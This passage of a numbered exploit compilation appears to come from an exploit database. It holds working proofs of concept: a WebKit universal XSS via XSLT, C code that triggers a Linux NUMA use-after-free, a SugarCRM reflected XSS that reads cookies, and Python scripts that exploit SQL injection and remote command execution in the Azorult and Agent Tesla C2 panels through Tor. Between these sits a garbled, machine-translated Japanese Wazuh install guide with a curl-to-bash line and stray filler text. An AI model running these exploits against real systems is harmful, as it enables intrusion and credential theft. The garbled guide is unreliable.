TextResourceDecoder::create(sourceMIMEType); decoder->setEncoding(sourceEncoding.isEmpty() ? UTF8Encoding() : TextEncoding(sourceEncoding), TextResourceDecoder::EncodingFromXMLHeader); result->setDecoder(WTFMove(decoder)); result->setContent(documentSource); ``` https://trac.webkit.org/browser/webkit/trunk/Source/WebCore/page/Frame.cpp#L248 ``` void Frame::setDocument(RefPtr<Document>&& newDocument) { ASSERT(!newDocument || newDocument->frame() == this); if (m_documentIsBeingReplaced) // ***1*** return; m_documentIsBeingReplaced = true; [...] if (m_doc && m_doc->pageCacheState() != Document::InPageCache) m_doc->prepareForDestruction(); // ***2*** m_doc = newDocument.copyRef(); ``` `setDocument` calls `Document::prepareForDestruction`, which might trigger JavaScript execution via a nested frame's "unload" event handler. Therefore the `m_documentIsBeingReplaced` flag has been introduced to avoid reentrant calls. The problem is that by the time `setDocument` is called, `newDocument` might already have a reference to a `Frame` object, and if the method returns early, that reference will never get cleared by subsequent navigations. It's not possible to trigger document replacement inside `setDocument` via a regular navigation request or a 'javascript:' URI load; however, an attacker can use an XSLT transformation for that. When the attacker has an extra document attached to a frame, they can navigate the frame to a cross-origin page and issue a form submission request to a 'javascript:' URI using the extra document to trigger UXSS. VERSION WebKit revision 245321. It should affect the stable branch as well, but the test case crashes Safari 12.1.1 (14607.2.6.1.1). REPRODUCION CASE repro.html: ``` <body> <script> createFrame = doc => doc.body.appendChild(document.createElement('iframe')); pi = document.createProcessingInstruction('xml-stylesheet', 'type="text/xml" href="stylesheet.xml"'); cache_frame = createFrame(document); cache_frame.contentDocument.appendChild(pi); setTimeout(() => { victim_frame = createFrame(document); child_frame_1 = createFrame(victim_frame.contentDocument); child_frame_1.contentWindow.onunload = () => { victim_frame.src = 'javascript:""'; try { victim_frame.contentDocument.appendChild(document.createElement('html')). appendChild(document.createElement('body')); } catch { } child_frame_2 = createFrame(victim_frame.contentDocument); child_frame_2.contentWindow.onunload = () => { doc = victim_frame.contentDocument; doc.write('foo'); doc.firstChild.remove(); doc.appendChild(pi); doc.appendChild(doc.createElement('root')); doc.close(); } } victim_frame.src = 'javascript:""'; if (child_frame_1.xslt_script_run) { victim_frame.src = 'http://example.com/'; victim_frame.onload = () => { form = corrupted_doc.createElement('form'); form.action = 'javascript:alert(document.body.innerHTML)'; form.submit(); } } }, 2000); </script> </body> ``` stylesheet.xml: ``` <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <html> <body> <script> <![CDATA[ document.body.lastChild.xslt_script_run = true; ]]> </script> <iframe src="javascript:top.corrupted_doc = frameElement.ownerDocument; frameElement.remove();"></iframe> </body> </html> </xsl:template> </xsl:stylesheet> ``` CREDIT INFORMATION Sergei Glazunov of Google Project Zero
  18. /* On NUMA systems, the Linux fair scheduler tracks information related to NUMA faults in task_struct::numa_faults and task_struct::numa_group. Both of these have broken object lifetimes. Since commit 82727018b0d3 ("sched/numa: Call task_numa_free() from do_execve()", first in v3.13), ->numa_faults is freed not only when the last reference to the task_struct is gone, but also after successful execve(). However, show_numa_stats() (reachable through /proc/$pid/sched) locklessly reads data from ->numa_faults (use-after-free read) and prints it to a userspace buffer. To test this, I used a QEMU VM with the following NUMA configuration: -m 8192 -smp cores=4 -numa node,nodeid=0 -numa node,nodeid=1 Test code is attached; it takes a while before it triggers the bug since the race window is pretty small. KASAN report: ============================ [ 909.461282] ================================================================== [ 909.464502] BUG: KASAN: use-after-free in show_numa_stats+0x99/0x160 [ 909.465250] Read of size 8 at addr ffff8880ac8f8f00 by task numa_uaf/18471 [ 909.466167] CPU: 0 PID: 18471 Comm: numa_uaf Not tainted 5.2.0-rc7 #443 [ 909.466877] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.12.0-1 04/01/2014 [ 909.467751] Call Trace: [ 909.468072] dump_stack+0x7c/0xbb [ 909.468413] ? show_numa_stats+0x99/0x160 [ 909.468879] print_address_description+0x6e/0x2a0 [ 909.469419] ? show_numa_stats+0x99/0x160 [ 909.469828] ? show_numa_stats+0x99/0x160 [ 909.470292] __kasan_report+0x149/0x18d [ 909.470683] ? show_numa_stats+0x99/0x160 [ 909.471137] kasan_report+0xe/0x20 [ 909.471533] show_numa_stats+0x99/0x160 [ 909.471988] proc_sched_show_task+0x6ae/0x1e60 [ 909.472467] sched_show+0x6a/0xa0 [ 909.472836] seq_read+0x197/0x690 [ 909.473264] vfs_read+0xb2/0x1b0 [ 909.473616] ksys_pread64+0x74/0x90 [ 909.474034] do_syscall_64+0x5d/0x260 [ 909.474975] entry_SYSCALL_64_after_hwframe+0x49/0xbe [ 909.475512] RIP: 0033:0x7f6f57742987 [ 909.475878] Code: 35 39 a4 09 00 48 8d 3d d1 a4 09 00 e8 52 77 f4 ff 66 90 48 8d 05 79 7d 0d 00 49 89 ca 8b 00 85 c0 75 10 b8 11 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 59 c3 41 55 49 89 cd 41 54 49 89 d4 55 48 89 [ 909.477905] RSP: 002b:00005565fc10d108 EFLAGS: 00000246 ORIG_RAX: 0000000000000011 [ 909.478684] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f6f57742987 [ 909.479393] RDX: 0000000000001000 RSI: 00005565fc10d120 RDI: 0000000000000005 [ 909.480254] RBP: 00005565fc10e130 R08: 00007f6f57657740 R09: 00007f6f57657740 [ 909.481037] R10: 0000000000000000 R11: 0000000000000246 R12: 00005565fbf0b1f0 [ 909.481821] R13: 00007ffe60338770 R14: 0000000000000000 R15: 0000000000000000 [ 909.482744] Allocated by task 18469: [ 909.483135] save_stack+0x19/0x80 [ 909.483475] __kasan_kmalloc.constprop.3+0xa0/0xd0 [ 909.483957] task_numa_fault+0xff2/0x1d30 [ 909.484414] __handle_mm_fault+0x94f/0x1320 [ 909.484887] handle_mm_fault+0x7e/0x100 [ 909.485323] __do_page_fault+0x2bb/0x610 [ 909.485722] async_page_fault+0x1e/0x30 [ 909.486355] Freed by task 18469: [ 909.486687] save_stack+0x19/0x80 [ 909.487027] __kasan_slab_free+0x12e/0x180 [ 909.487497] kfree+0xd8/0x290 [ 909.487805] __do_execve_file.isra.41+0xf1e/0x1140 [ 909.488316] __x64_sys_execve+0x4f/0x60 [ 909.488706] do_syscall_64+0x5d/0x260 [ 909.489144] entry_SYSCALL_64_after_hwframe+0x49/0xbe [ 909.490121] The buggy address belongs to the object at ffff8880ac8f8f00 which belongs to the cache kmalloc-128 of size 128 [ 909.491564] The buggy address is located 0 bytes inside of 128-byte region [ffff8880ac8f8f00, ffff8880ac8f8f80) [ 909.492919] The buggy address belongs to the page: [ 909.493445] page:ffffea0002b23e00 refcount:1 mapcount:0 mapping:ffff8880b7003500 index:0xffff8880ac8f8d80 [ 909.494419] flags: 0x1fffc0000000200(slab) [ 909.494836] raw: 01fffc0000000200 ffffea0002cec780 0000000900000009 ffff8880b7003500 [ 909.495633] raw: ffff8880ac8f8d80 0000000080150011 00000001ffffffff 0000000000000000 [ 909.496451] page dumped because: kasan: bad access detected [ 909.497291] Memory state around the buggy address: [ 909.497775] ffff8880ac8f8e00: fc fc fc fc fc fc fc fc fb fb fb fb fb fb fb fb [ 909.498546] ffff8880ac8f8e80: fb fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc [ 909.499319] >ffff8880ac8f8f00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb [ 909.500034] ^ [ 909.500429] ffff8880ac8f8f80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc [ 909.501150] ffff8880ac8f9000: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff [ 909.501942] ================================================================== [ 909.502712] Disabling lock debugging due to kernel taint ============================ ->numa_group is a refcounted reference with RCU semantics, but the RCU helpers are used inconsistently. In particular, show_numa_stats() reads from p->numa_group->faults with no protection against concurrent updates. There are also various other places across the scheduler that use ->numa_group without proper protection; e.g. as far as I can tell, sched_tick_remote()->task_tick_fair()->task_tick_numa()->task_scan_start() reads from p->numa_group protected only by the implicit read-side critical section that spinlocks currently imply by disabling preemption, and with no protection against the pointer unexpectedly becoming NULL. I am going to send suggested fixes in a minute, but I think the approach for ->numa_group might be a bit controversial. The approach I'm taking is: - For ->numa_faults, just wipe the statistics instead of freeing them. - For ->numa_group, use proper RCU accessors everywhere. Annoyingly, if one of the RCU accessors detects a problem (with CONFIG_PROVE_LOCKING=y), it uses printk, and if the wrong runqueue lock is held at that point, a deadlock might happen, which isn't great. To avoid that, the second patch adds an ugly hack in printk that detects potential runqueue deadlocks if lockdep is on. I'm not sure how you all are going to feel about that one - maybe it's better to just leave it out, or do something different there? I don't know... I'm sending the suggested patches off-list for now; if you want me to resend them publicly, just say so. */ #define _GNU_SOURCE #include <errno.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <stdio.h> #include <numaif.h> #include <sched.h> #include <err.h> #include <time.h> #include <fcntl.h> #include <signal.h> #include <sys/prctl.h> #include <sys/mman.h> #include <sys/wait.h> #include <sys/ioctl.h> #include <sys/uio.h> #include <sys/syscall.h> #include <linux/userfaultfd.h> int sched_fd; int get_scan_seq(void) { char buf[0x1000]; ssize_t buflen = pread(sched_fd, buf, sizeof(buf)-1, 0); if (buflen == -1) err(1, "read sched"); buf[buflen] = '\0'; char *p = strstr(buf, "numa_scan_seq"); if (!p) errx(1, "no numa_scan_seq"); *strchrnul(p, '\n') = '\0'; p = strpbrk(p, "0123456789"); if (!p) errx(1, "no numa_scan_seq"); return atoi(p); } void reexec(char *arg0) { char *argv[] = {arg0, NULL}; execvp("/proc/self/exe", argv); err(1, "reexec"); } volatile int uaf_child_ready = 0; static int sfd_uaf(void *fd_) { int fd = (int)(long)fd_; /* prctl(PR_SET_PDEATHSIG, SIGKILL); if (getppid() == 1) raise(SIGKILL); */ while (1) { char buf[0x1000]; ssize_t res = pread(fd, buf, sizeof(buf)-1, 0); if (res == -1) { if (errno == ESRCH) _exit(0); err(1, "pread"); } buf[res] = '\0'; puts(buf); uaf_child_ready = 1; } } int main(int argc, char **argv) { if (strcmp(argv[0], "die") == 0) { _exit(0); } sched_fd = open("/proc/self/sched", O_RDONLY|O_CLOEXEC); if (sched_fd == -1) err(1, "open sched"); // allocate two pages at the lowest possible virtual address so that the first periodic memory fault is scheduled on the first page char *page = mmap((void*)0x1000, 0x2000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0); if (page == MAP_FAILED) err(1, "mmap"); *page = 'a'; // handle the second page with uffd int ufd = syscall(__NR_userfaultfd, 0); if (ufd == -1) err(1, "userfaultfd"); struct uffdio_api api = { .api = UFFD_API, .features = 0 }; if (ioctl(ufd, UFFDIO_API, &api)) err(1, "uffdio_api"); struct uffdio_register reg = { .mode = UFFDIO_REGISTER_MODE_MISSING, .range = { .start = (__u64)page+0x1000, .len = 0x1000 } }; if (ioctl(ufd, UFFDIO_REGISTER, &reg)) err(1, "uffdio_register"); // make sure that the page is on the CPU-less NUMA node unsigned long old_nodes = 0x1; unsigned long new_nodes = 0x2; if (migrate_pages(0, sizeof(unsigned long), &old_nodes, &new_nodes)) err(1, "migrate_pages"); // trigger userfault in child pid_t uffd_child = fork(); if (uffd_child == -1) err(1, "fork"); if (uffd_child == 0) { prctl(PR_SET_PDEATHSIG, SIGKILL); struct iovec iov = { .iov_base = (void*)0x1fff, .iov_len = 2 }; process_vm_readv(getppid(), &iov, 1, &iov, 1, 0); err(1, "process_vm_readv returned"); } sleep(1); int ini_seq = get_scan_seq(); printf("initial scan_seq: %d\n", ini_seq); if (ini_seq) reexec("m"); // wait for a migration time_t start_time = time(NULL); while (1) { if (time(NULL) > start_time + 30) { puts("no migration detected!"); reexec("m"); } int cur_seq = get_scan_seq(); if (cur_seq != 0) { printf("new scan_seq: %d\n", cur_seq); goto migration_done; } } migration_done: printf("migration done after %d seconds\n", (int)(time(NULL)-start_time)); while (1) { pid_t pid = fork(); if (pid == -1) err(1, "fork"); if (pid == 0) { static char uaf_stack[1024*1024]; static char uaf_stack2[1024*1024]; int sfd = open("/proc/self/sched", O_RDONLY); if (sfd == -1) err(1, "open sched"); pid_t uaf_child = clone(sfd_uaf, uaf_stack+sizeof(uaf_stack), CLONE_FILES|CLONE_VM, (void*)(long)sfd); if (uaf_child == -1) err(1, "clone uaf_child"); uaf_child = clone(sfd_uaf, uaf_stack2+sizeof(uaf_stack2), CLONE_FILES|CLONE_VM, (void*)(long)sfd); if (uaf_child == -1) err(1, "clone uaf_child"); while (!uaf_child_ready) __builtin_ia32_pause(); *(volatile char *)page = 'b'; reexec("die"); } int status; if (wait(&status) != pid) err(1, "wait"); } }
  19. 1。 Wazhu展開アーキテクチャ 1.サーバーで実行されているエージェントは、収集されたさまざまな情報を暗号化されたチャネルを介して管理端に送信します。 2。管理側は、エージェントから受信したデータを分析し、イベントがアラームルールと一致するときにアラームをトリガーする責任があります。 3.LogStashは、Alarmログまたは監視ログをElasticSearchに送信し、最終的にKibanaの視覚化を介してログを表示します。 分散展開:さまざまなホストでWazuhサーバーと弾性スタッククラスター(1つ以上のサーバー)を実行します。 単一のホストアーキテクチャ:同じホストでWazuhサーバーと弾性スタックを実行します。 2つの主な違いは、前者がFileBeatとLogstashを使用してログ伝送を必要とし、後者はログファイルをネイティブに直接読み取ることです。 図1:分散展開 図2:シングルホストアーキテクチャ 2。ソース構成を更新 ネットワーク速度が遅い場合は、国内のソフトウェアソースに変更できます。デフォルトでは使用しません。 Yum Repolist #View現在のソース cp /etc/yum.repos.d/centos-base.repo /etc/yum.repos.d/centos-base.repo.bak #back #back up up up up up up wget http://mirrors.aliyun.com/repo/centos-7.repo #download alibaba cloudos7ソース wget http://mirrors.163.com/.help/centos7-base-163.Repo #Download 163 CENTOS7ソース MVダウンロードしたソース/etc/yum.repos.d/centos-base.repo Yum CleanすべてのYum Makecache #CleanとYumキャッシュを再構築する タイムサーバー: yum -y ntp ntpdate #install ntpをインストールし、ntpを更新します ntpdate cn.ntp.org.cn #ntp設定 hwcrock-システム時間はハードウェアの時間を書きます LN -SF/USR/SHARE/ZONEINFO/ASIA/SHANGHAI/etc/LocalTime#Linuxのタイムゾーンは上海タイムゾーンに設定されています 3。 Wazuh Manager をインストールします インストール環境はCENTOS7.1x64システムです 方法1: cat /etc/yum.repos.d/wazuh.repo \ eof [wazuh_repo] gpgcheck=1 gpgkey=https://packages.wazuh.com/key/gpg-key-wazuh 有効=1 name=wazuhリポジトリ baseurl=https://packages.wazuh.com/3.x/yum/ 保護=1 EOF Yum Install Wazuh-Manager 方法2: [root@wazhu-manage〜]#cd /opt [root@wazhu-manage opt]#wget https://packages.wazuh.com/3.x/yum/wazuh-manager-3.8.0-1.x86_64.rpm [root@wazhu-manage opt]#chmod +x wazuh-manager-3.8.0-1.x86_64.rpm [root@wazhu-manage opt]#rpm -ivh wazuh-manager-3.8.0-1.x86_64.rpm [root@wazhu-manage opt] #systemctl status wazuh-manager.service ●Wazuh -Manager.Service -Wazuh Manager Loaded: Loaded(/etc/systemd/system/wazuh-manager.service; enabled; vendor preset:無効) Active: Active(running)2019-01-21 09:58336045 UTC; 34s前 process: 13789 execstart=/usr/bin/env $ {directory}/bin/ossec-control start(code=exited、status=0/success) cgroup: /system.slice/wazuh-manager.service ├马云惹不起马云马云惹不起马云13819/var/ossec/bin/ossec-authd ├马云惹不起马云马云惹不起马云13823/var/ossec/bin/wazuh-db and-13841/var/ossec/bin/ossec-execd ├马云惹不起马云马云惹不起马云13847/var/ossec/bin/ossec-analysisd ├马云惹不起马云马云惹不起马云13851/var/ossec/bin/ossec-syscheckd ├马云惹不起马云马云惹不起马云13859/var/ossec/bin/ossec連合 ├马云惹不起马云马云惹不起马云13861/var/ossec/bin/ossec-logcollector ├马云惹不起马云马云惹不起马云13882/var/ossec/bin/ossec-monitord └└。13886/var/ossec/bin/wazuh-modulesd iv。 wazuh api をインストールします Wazuh APIを実行するには、nodejs=4.6.1が必要です。 nodejsがインストールされていない場合、またはバージョンが4.6.1より低い場合は、次のように公式のnodejsリポジトリを追加することをお勧めします。 [root@wazhu-manage bin]#curl - silent - location https://rpm.nodesource.com/setup_8.x |バッシュ - [root@wazhu-manage bin]#yumインストールnodejs.x86_64 [root@wazhu -manage bin] #node -v#またはyumインストールnodejs v6.14 Wazuh APIを実行するには、python=2.7が必要です。デフォルトでインストールされているか、ほとんどのLinuxディストリビューションの公式リポジトリに含まれています。システム上のPythonバージョンが2.7未満であるかどうかを判断するには、次のコマンドを実行できます。 [root@wazhu-manage bin]#python -version#centos7デフォルトPython2 Python 2.7.5 [root@wazhu-manage bin]#cd /opt [root@wazhu-manage opt]#wget https://packages.wazuh.com/3.x/yum/wazuh-api-3.8.0-1.x86_64.rpm [root@wazhu-manage opt]#ls wazuh-api-3.8.0-1.x86_64.rpmwazuh-manager-3.8.0-1.x86_64.rpm [root@wazhu-manage opt]#chmod +x wazuh-api-3.8.0-1.x86_64.rpm [root@wazhu-manage opt]#rpm -ivh wazuh-api-3.8.0-1.x86_64.rpm#またはyum install wazuh-api [root@wazhu-manage opt] #systemctl start wazuh-api [root@wazhu-manage opt] #systemctl status wazuh-api ●wazuh -api.service -wazuh api daemon Loaded: Loaded(/etc/systemd/system/wazuh-api.service; enabled; vendor preset:無効) Active: Active(running)2019-01-21 10:25336030 UTC; 33秒前 docs: https://documentation.wazuh.com/current/user-manual/api/index.html メインPID: 15454(ノード) cgroup: /system.slice/wazuh-api.service and-15454/bin/node /var/ossec/api/app.js 1月21日10:25:30 WAZHU-MANAGE SYSTEMD [1] :はWazuh API Daemonを開始しました。 自動アップグレードを防ぐ: #sed -i 's/^enabled=1/enabled=0/'/etc/yum.repos.d/wazuh.repo v。 Wazuhエージェントをインストールします 1。Centosの下にAgent:1.1をインストールします。パッケージインストール[root@wazhu-manage opt]#ls wazuh-api-3.8.0-1.x86_64.rpmwazuh-manager-3.8.0-1.x86_64.rpm [root@wazhu-manage opt]#wget https://packages.wazuh.com/3.x/yum/wazuh-agent-3.8.0-1.x86_64.rpm [root@wazhu-manage opt]#chmod +x wazuh-agent-3.8.0-1.x86_64.rpm [root@wazhu-manage opt]#rpm -ivh wazuh-agent-3.8.0-1.x86_64.rpm 警告: wazuh-agent-3.8.0-1.x86_64.rpm:ヘッダーV4 RSA/SHA1署名、キーID 2911145: nokey ERROR:失敗依存関係: Wazuh-ManagerはWazuh-Agent-3.8.0-1.x86_64と競合します Wazuh-Agentは(インストールされた)Wazuh-Manager-3.8.0-1.x86_64との競合です #構成ファイルvim /var/ossec/etc/ossec.confを変更する#キー/var/ossec/bin/manage_agentsのインポート#service/var/ossec/bin/ossec-control Start 1.2。 Yumのインストール:cat /etc/yum.repos.d/wazuh.repo \ eof [wazuh_repo] gpgcheck=1 gpgkey=https://packages.wazuh.com/key/gpg-key-wazuh 有効=1 name=wazuhリポジトリ baseurl=https://packages.wazuh.com/3.x/yum/ 保護=1 EOF [root@wazhu-manage opt]#yumインストールwazuh-agent 2。Ubuntuの下にAgent2.1をインストールします。 root@agent01:〜#cd /optをインストールします root@agent01:/opt#wget https://packages.wazuh.com/3.x/apt/pool/main/w/wazuh-agent/wazuh-agent_3.8.0-1_amd64.deb root@agent01:/opt#dpkg -i wazuh-agent_3.8.0-1_amd64.deb 以前に選択されていないパッケージWazuh-Agentを選択します。 (データベースの読み取り. 92845ファイルとディレクトリが現在インストールされています。) wazuh-agent_3.8.0-1_amd64.debを開梱する準備. Wazuh-Agentの開梱(3.8.0-1). Wazuh-Agentのセットアップ(3.8.0-1). SystemDのトリガーの処理(229-4ubuntu21.4). 尿素の処理トリガー(0.100.0-19). 2.2。 apt-getインストール#apt-get install curl apt-transport-https lsb-release #install install in spece #curl -s https://packages.wazuh.com/key/gpg-key-wazuh | apt -key add- #installing wazuhリポジトリGPGキー #echo'deb https://packages.wazuh.com/3.x/apt/stable main '| tee /etc/apt/sources.list.d/wazuh.list #Addリポジトリ #apt-get update #updateパッケージ情報 #apt-get wazuh-agent #install wazuhエージェントをインストールします #echo'wazuh-agent hold '| sudo dpkg - セット選択#disableアップデート 3. Agenthttps://Packages.wazuh.com/3.x/windows/wazuh-agent-3.8.0-1.msiをWindowsにインストールします agent -auth.exe -m管理側IP -p '管理サイドパスワード エージェント-Auth -M管理IP vi。 弾性スタック をインストールします 1。弾性スタックランニング環境パッケージのインストールLogstashとElasticsearchにはOracle Java JRE 8が必要です [root@wazhu-manage opt]#curl -lo jre-8-linux-x64.rpm - header 'cookie: oraclelicense=Accept-securebackup-cookie' 'https://Download.oracle.com/otn-pub/java/jdk/8u202-b08/1961070e4c9b4e26a04e7f5a083f551e/jre-8u202-linux-x64.rpm' ' [root@wazhu-manage opt] Echo 'Javaパッケージは正常にダウンロードしませんでした」 Javaパッケージは正常にダウンロードされました [root@wazhu-manage opt]#yum -yインストールjre-8-linux-x64.rpm [root@wazhu -manage opt]#java -version Javaバージョン '1.8.0_202' Elastic RepositoryとそのGPGキー:をインストールします [root@wazhu-manage opt]#rpm -import https://packages.lastic.co/gpg-key-elasticsearch [root@wazhu-manage opt]#cat /etc/yum.repos.d/elastic.repo eof [Elasticsearch-6.x] name=6.xパッケージのElasticsearchリポジトリ baseurl=https://Artifacts.Elastic.co/packages/6.x/yum gpgcheck=1 gpgkey=https://Artifacts.Elastic.co/gpg-key-elasticsearch 有効=1 AutoreFresh=1 type=rpm-md EOF [root@wazhu-manage opt]#cat /etc/yum.repos.d/elastic.repo [Elasticsearch-6.x] name=6.xパッケージのElasticsearchリポジトリ baseurl=https://Artifacts.Elastic.co/packages/6.x/yum gpgcheck=1 gpgkey=https://Artifacts.Elastic.co/gpg-key-elasticsearch 有効=1 AutoreFresh=1 type=rpm-md 2。ElasticSearch[root@wazhu-manage opt]#yumインストールElasticsearch-6.5.4 [root@wazhu-manage opt] #SystemCtl Daemon-Reload [root@wazhu-manage opt]#systemctl enable elasticsearch.serviceを有効にします /etc/systemd/system/multi-user.target.wants/elasticsearch.serviceからSymlinkから作成されたSymlinkは、/usr/lib/systemd/system/Elasticsearch.service。 [root@wazhu-manage opt] #SystemCtl Start ElasticSearch.Service [root@wazhu-manage opt] #SystemCtl Status ElasticSearch.Service ElasticSearch.Service -Elasticsearch loaded: loaded(/usr/lib/systemd/system/elasticsearch.service; enabled; vendor preset: disabled) Active: Active(running)2019-01-21 11:20:32 UTC; 12秒前 docs: http://www.elastic.co メインPID: 16541(Java) cgroup: /system.slice/elasticsearch.service ├马云惹不起马云马云惹不起马云16541 /bin /java -xms1g -xmx1g -xx:+useconcmarksweepgc -xx3360cmsinitia . └└)/usr/share/elasticsearch/modules/x-pack-ml/platform/linux-x86 . ElasticSearchサーバーがスタートアップを完了するのを待つことが非常に重要です。次のコマンドを使用して、現在のステータスを確認します。これにより、次のように応答が表示されます。 [root@wazhu-manage opt]#curl 'http://localhost:9200/?light' { 「名前」: 'J2IH056'、 'cluster_name' : 'elasticsearch'、 'cluster_uuid' : 'ihtopid4sr-eoz5qx73-kw'、 'バージョン' : { 「番号」: '6.5.4'、 'build_flavor' : 'デフォルト'、 'build_type' : 'rpm'、 'build_hash' : 'd2ef93d'、 'build_date' : '2018-12-17T21:17336040.758843Z'、 'build_snapshot' : false、 'lucene_version' : '7.5.0'、 'Minimum_wire_compatibility_version' : '5.6.0'、 'Minimum_index_compatibility_version' : '5.0.0' }、 「キャッチフレーズ」: 'あなたが知っている、検索のために' } ElasticSearch用のWazuhテンプレートのロード:( KibanaのWazuhアプリケーションでは、Elasticsearchテンプレートが適切に機能する必要があるため、正しく挿入されることを確認することが非常に重要です。) [root@wazhu-manage opt]#curl https://raw.githubusercontent.com/wazuh/wazuh/3.8/extensions/elasticsearch/wazuh-elastic6-template-alerts.json | curl -x put 'http://localhost:9200/_template/wazuh' -h 'content -type:アプリケーション/json' -d @ - %合計%re
  20. # Exploit Title: 0Day UnauthenticatedXSS SugarCRM Enterprise # Google Dork: N/A # Date: 11.08.2019 # Exploit Author: Ilca Lucian Florin # Vendor Homepage: https://www.sugarcrm.com # Version: 9.0.0 # Tested on: Windows 7 / Internet Explorer 11 / Google Chrome 76 # CVE : 2019-14974 The application fails to sanitize user input on https://sugarcrm-qms.XXX.com/mobile/error-not-supported-platform.html and reflect the input directly in the HTTP response, allowing the hacker to exploit the vulnerable parameter and have malicious content executed in the victim's browser. Steps to reproduce: 1.Attacker will craft a malicious payload and create a legitimate link with the payload included; 2. Attacker will send the link to the victim; 3. Upon clicking on the link, the malicious payload will be reflected in the response and executed in the victim’s browser. The behavior can be observed by visiting the following URL: https://server/mobile/error-not-supported-platform.html?desktop_url=javascript:alert(document.cookie);//itms:// Clicking on FULL VERSION OF WEBSITE will trigger the XSS. Impact statement: Although requiring user interaction, reflected XSS impact might range from web defacement to stealing user info and full account takeover, depending on the circumstances. Recommendation: Always ensure to validate parameters input and encode the output.
  21. import requests import argparse import base64 # Azorult 3.3.1 C2 SQLi by prsecurity # For research purposes only. Don't pwn what you don't own. # change GUID and XOR key to specific beacon, can be extracted from a sample guid = "353E77DF-928B-4941-A631-512662F0785A3061-4E40-BBC2-3A27F641D32B-54FF-44D7-85F3-D950F519F12F353E77DF-928B-4941-A631-512662F0785A3061-4E40-BBC2-3A27F641D32B-54FF-44D7-85F3-D950F519F12F" key = "\x03\x55\xae" def get_args(): parser = argparse.ArgumentParser( prog="azorult_sploit.py", formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=50), epilog= ''' This script will exploit the SQL vulnerability in Azorult 3.3.1 Dashboard. ''') parser.add_argument("target", help="URL of index.php (ex: http://target.com/index.php)") parser.add_argument("-n", "--id_record", default="1", help="id of record to dump") parser.add_argument("-p", "--proxy", default="http://localhost:8080", help="Configure a proxy in the format http://127.0.0.1:8080/ (default = tor)") args = parser.parse_args() return args def CB_XORm(data, key): j=0 key = list(key) data = list(data) tmp = list() for i in range(len(data)): tmp.append(chr(ord(data[i])^ord(key[j]))) j += 1 if j > (len(key)-1): j = 0 return "".join(tmp) def pwn_target(target, num_records, proxy): requests.packages.urllib3.disable_warnings() proxies = {'http': proxy, 'https': proxy} try: r = requests.get("http://bot.whatismyipaddress.com", proxies=proxies) print("[*] Your IP: {}".format(r.text)) headers = { "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko" } print('[+] Getting URL, LOGIN AND PASS') data = [ "|".join([ "1","2","3","4","5","6","7","8","9","10","11","12" ]), "\r\n".join([ "|".join(["1","2","3","4"," "*255+"'", ", (select version())), (111,(select * from (select concat({},0x3a,p_p2) from passwords limit {},1) dumb),333,4,5,6,7), (111,(select * from (select concat({},0x3a,p_p3) from passwords limit {},1) dumb),333,4,5,6,7) -- ".format(num_records, num_records,num_records, num_records)]) ]), "c", "d", ":".join(["'11","22"]) ] payload = CB_XORm(guid.join(data), key) r = requests.post(target, data=payload, headers=headers, verify=False, proxies=proxies) if r.text != "OK": print("[-] ERROR: Something went wrong. Maybe Azorult version is not 3.3.1?") raise print('[+] Getting LOGIN/PASS') data = [ "|".join([ "1","2","3","4","5","6","7","8","9","10","11","12" ]), "\r\n".join([ "|".join(["1","2","3","4"," "*255+"'", ", (select version())), (111,(select * from (select concat({},0x3a,p_p1) from passwords limit {},1) dumb),333,4,5,6,7) -- ".format(num_records, num_records)]) ]), "c", "d", ":".join(["'11","22"]) ] payload = CB_XORm(guid.join(data), key) r = requests.post(target, data=payload, headers=headers, verify=False, proxies=proxies) if r.text != "OK": print("[-] ERROR: Something went wrong. Maybe Azorult version is not 3.3.1?") raise print('[+] If this worked, you will see two new records in password table at guest.php') except: print("[-] ERROR: Something went wrong.") print(r.text) raise def main(): print () print ('Azorult 3.3.1 SQLi by prsecurity') args = get_args() pwn_target(args.target.strip(), args.num_records.strip(), args.proxy.strip()) if __name__ == '__main__': main()
  22. import requests import argparse import base64 # Agent Tesla C2 RCE by prsecurity # For research purposes only. Don't pwn what you don't own. def get_args(): parser = argparse.ArgumentParser( prog="agent_tesla_sploit.py", formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=50), epilog= ''' This script will exploit the RCE/SQL vulnerability in Agent Tesla Dashboard. ''') parser.add_argument("target", help="URL of WebPanel (ex: http://target.com/WebPanel/)") parser.add_argument("-c", "--command", default="id", help="Command to execute (default = id)") parser.add_argument("-p", "--proxy", default="socks5://localhost:9150", help="Configure a proxy in the format http://127.0.0.1:8080/ (default = tor)") args = parser.parse_args() return args def pwn_target(target, command, proxy): requests.packages.urllib3.disable_warnings() proxies = {'http': proxy, 'https': proxy} print('[*] Probing...') get_params = { 'table':'screens', 'primary':'HWID', 'clmns':'a:1:{i:0;a:3:{s:2:"db";s:4:"HWID";s:2:"dt";s:4:"HWID";s:9:"formatter";s:4:"exec";}}', 'where': base64.b64encode("1=1 UNION SELECT \"{}\"".format(command).encode('utf-8')) } target = target + '/server_side/scripts/server_processing.php' try: r = requests.get("http://bot.whatismyipaddress.com", proxies=proxies) print("[*] Your IP: {}".format(r.text)) headers = { "User-agent":"Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko" } r = requests.get(target, params=get_params, headers=headers, verify=False, proxies=proxies) result = r.json()['data'][-1]['HWID'] print('[+] {}'.format(result)) except: print("[-] ERROR: Something went wrong.") print(r.text) raise def main(): print () print ('Agent Tesla RCE by prsecurity.') args = get_args() pwn_target(args.target.strip(), args.command.strip(), args.proxy.strip()) if __name__ == '__main__': main()
